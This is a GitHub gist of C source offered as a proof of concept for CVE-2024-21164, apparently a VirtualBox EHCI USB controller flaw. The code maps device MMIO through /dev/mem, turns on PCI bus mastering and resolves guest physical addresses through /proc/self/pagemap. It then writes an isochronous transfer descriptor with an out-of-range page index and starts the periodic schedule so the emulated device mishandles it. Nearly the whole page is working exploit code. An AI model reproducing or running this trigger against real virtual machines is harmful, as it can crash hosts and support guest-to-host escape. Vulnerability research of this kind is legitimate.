Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Created October 7, 2025 12:28
Show Gist options
  • Select an option

  • Save farazsth98/eae315ba6f419f360ab6de04661baa51 to your computer and use it in GitHub Desktop.

Select an option

Save farazsth98/eae315ba6f419f360ab6de04661baa51 to your computer and use it in GitHub Desktop.
PoC for CVE-2024-21164 (ZDI-24-1024)
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "exploit.h"
#include "structs.h"
// Pointer to MMIO
uint8_t* mmio;
// String path to the PCI device config
char config_path[0x100] = "/sys/devices/pci0000:00/0000:00:0b.0/config";
// Registers for this device
#define COMMAND_R 0x20
#define SYNC_LIST_BASE_R 0x34
// Commands for this device
#define EHCI_CMD_RUN (1 << 0)
#define EHCI_CMD_RESET (1 << 1)
#define EHCI_CMD_PERIODIC_SCHED_ENABLE (1 << 4)
// Relevant Constants
#define EHCI_DESCRIPTOR_ITD 0
int main(void) {
uint64_t rc;
// Enable Bus Master mode to allow the PCI device to initiate its own DMA
// if needed (for example, when fetching transmit descriptors from the
// guest in network devices).
//
// NOTE: Already enabled for the EHCI device it looks like
enable_bus_master_mode(config_path);
// Map the MMIO. Find the address using `lspci` or `lshw`.
//
// Alternatively, you can also find the address through the PCI device's
// `resource` file within sysfs, similar to how we accessed the PCI
// configuration space above in `enable_bus_master_mode`.
mmio = map_phy_address(0xf0805000, 0x1000);
if (mmio == MAP_FAILED) {
printf("[!] Could not map MMIO!\n");
exit(-1);
}
// Create a new mapping for the synchronous list
// We need the physical address to fit into a DWORD, so just keep unmapping
// and remapping until we get such an address.
PHYS_MAPPING sync_list = {0};
phys_mmap(0x1000, &sync_list);
// Create a new mapping for the descriptors
PHYS_MAPPING descs = {0};
phys_mmap(0x1000, &descs);
// Reset the device
write4(COMMAND_R, EHCI_CMD_RESET);
// Set up the synchronous list. `sync_list_gpa` is guaranteed to fit into
// a DWORD
write4(SYNC_LIST_BASE_R, (uint32_t) sync_list.gpa);
uint32_t val = read4(0x34);
printf("[DEBUG] 0x%x\n", val);
// Set up the frames.
// Note that the FrameAddr must be shifted right by 5
EHCI_FRAME_LIST_PTR frames[2] = {0};
EHCI_ITD_PAD itd = {0};
itd.itd.Transaction[0].Active = 1;
itd.itd.Transaction[0].PG = 7;
itd.itd.Transaction[0].Length = 1;
itd.itd.Transaction[0].Offset = 1;
frames[0].Type = EHCI_DESCRIPTOR_ITD;
frames[0].FrameAddr = descs.gpa >> 5;
frames[1].Terminate = 1;
// The frames start from sync_list+4 for some reason
memset(sync_list.ptr, 0, 0x1000);
memcpy(sync_list.ptr+4, frames, sizeof(frames));
memset(descs.ptr, 0, 0x1000);
memcpy(descs.ptr, &itd, sizeof(itd));
// Start the periodic list processing, wait one second, then remove the
// flags immediately because we don't want the list to keep processing
// potentially uninitialized data (?)
write4(COMMAND_R, EHCI_CMD_RUN | EHCI_CMD_PERIODIC_SCHED_ENABLE);
}
// Helper macros, don't use these. instead use the readX and writeX macros below
#define write_iomem8(reg, val) \
*(mmio + reg) = val
#define read_iomem8(reg) \
({ \
uint8_t val; \
val = *(mmio + reg); \
val; \
})
#define write_iomem16(reg, val) \
*((uint16_t *)(mmio + reg)) = val
#define read_iomem16(reg) \
({ \
uint16_t val; \
val = *((uint16_t *)(mmio + reg)); \
val; \
})
#define write_iomem32(reg, val) \
*((uint32_t *)(mmio + reg)) = val
#define read_iomem32(reg) \
({ \
uint32_t val; \
val = *((uint32_t *)(mmio + reg)); \
val; \
})
// Use these to read / write to the MMIO regions
#define read1(reg) \
read_iomem8(reg)
#define write1(reg, val ) \
write_iomem8(reg, val)
#define read2(reg) \
read_iomem16(reg)
#define write2(reg, val) \
write_iomem16(reg, val)
#define read4(reg) \
read_iomem32(reg)
#define write4(reg, val) \
write_iomem32(reg, val)
// Helpers to deal with physical memory
//
// File descriptors
int mem, pagemap;
// Sections 2.2 and 2.3 from
// http://phrack.org/papers/vm-escape-qemu-case-study.html
//
// The important function here is `gva_to_gpa`, which allows you to convert a
// QEMU guest virtual address (gva) to a guest physical address (gpa).
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
// Structure for the physical mappings
typedef struct {
// Pointer to the mapping
uint8_t *ptr;
// Physical address of the mapping
uint64_t gpa;
} PHYS_MAPPING;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(pagemap, offset, SEEK_SET);
read(pagemap, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
if (!pagemap) {
pagemap = open("/proc/self/pagemap", O_RDONLY);
if (pagemap == -1) {
printf("[!] Cannot open /proc/self/pagemap!\n");
exit(-1);
}
}
uint64_t gfn = gva_to_gfn(addr);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
// This function is used to mmap a region of memory whose physical address
// fits within a DWORD. This is required for most PCI devices.
PHYS_MAPPING phys_mmap(size_t size, PHYS_MAPPING *out) {
uint8_t *ptr;
uint64_t gpa;
while (1) {
ptr = mmap(0, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (ptr == MAP_FAILED) {
printf("[!] Could not map the synchronous list!\n");
exit(-1);
}
gpa = gva_to_gpa((void *) ptr);
if (gpa > 0xffffffff) {
// Don't care about the return value tbh
(void)munmap(ptr, 0x1000);
} else {
printf("[DEBUG] GPA Mapped: 0x%lx\n", gpa);
break;
}
}
out->ptr = ptr;
out->gpa = gpa;
}
// This function is used to map most physical addresses into the binary's
// virtual address space. Mostly useful for ptr MMIO regions.
//
// https://github.com/renorobert/virtualbox-cve-2018-2844/blob/master/exploit.c
uint8_t *map_phy_address(off_t address, size_t size)
{
uint8_t *map;
if (!mem)
mem = open("/dev/mem", O_RDWR | O_SYNC);
map = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED,
mem, address);
return map;
}
// See https://wiki.osdev.org/PCI#Command_Register
//
// Bus Master mode is a bit in the PCI configuration space of all PCI devices.
// It needs to be enabled to allow the PCI device to generate it's own DMA
// accesses.
//
// Note that although this is set by default in most cases, I've found that at
// least in QEMU, you have to enable this manually.
void enable_bus_master_mode(char *config) {
// We need to flip the 3rd bit at offset 4 of the PCI configuration space
// to enable Bus Master mode
uint8_t buf[1] = {0x16};
// Replace the path here with your corresponding PCI device in sysfs
int fd = open(config, O_RDWR | O_SYNC);
pwrite(fd, &buf, 1, 4);
close(fd);
}
typedef struct
{
uint32_t Terminate : 1;
uint32_t Type : 2;
uint32_t Reserved : 2;
uint32_t FrameAddr : 27;
} EHCI_FRAME_LIST_PTR;
typedef struct {
uint32_t Terminate : 1;
uint32_t Type : 2;
uint32_t Reserved : 2;
uint32_t Pointer : 27;
} EHCI_TD_PTR;
typedef struct {
uint32_t DeviceAddress : 7;
uint32_t Reserved1 : 1;
uint32_t EndPt : 4;
uint32_t Ignore1 : 20;
uint32_t MaxPacket : 11;
uint32_t DirectionIn : 1;
uint32_t Ignore2 : 20;
uint32_t Multi : 2;
uint32_t Reserved10 : 10;
uint32_t Ignore3 : 20;
} EHCI_ITD_MISC;
typedef struct {
uint32_t Offset : 12;
uint32_t PG : 3;
uint32_t IOC : 1;
uint32_t Length : 12;
uint32_t TransactError : 1;
uint32_t Babble : 1;
uint32_t DataBufError : 1;
uint32_t Active : 1;
} EHCI_ITD_TRANSACTION;
#define EHCI_NUM_ITD_TRANSACTIONS 8
#define EHCI_NUM_ITD_PAGES 7
typedef struct {
uint32_t Reserved : 12;
uint32_t Pointer : 20; /* 4k aligned */
} EHCI_BUFFER_PTR;
typedef struct {
EHCI_TD_PTR Next;
EHCI_ITD_TRANSACTION Transaction[EHCI_NUM_ITD_TRANSACTIONS];
union
{
EHCI_ITD_MISC Misc;
EHCI_BUFFER_PTR Buffer[EHCI_NUM_ITD_PAGES];
} Buffer;
} EHCI_ITD, *PEHCI_ITD;
typedef struct {
EHCI_ITD itd;
EHCI_BUFFER_PTR pad;
} EHCI_ITD_PAD, *PEHCI_ITD_PAD;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment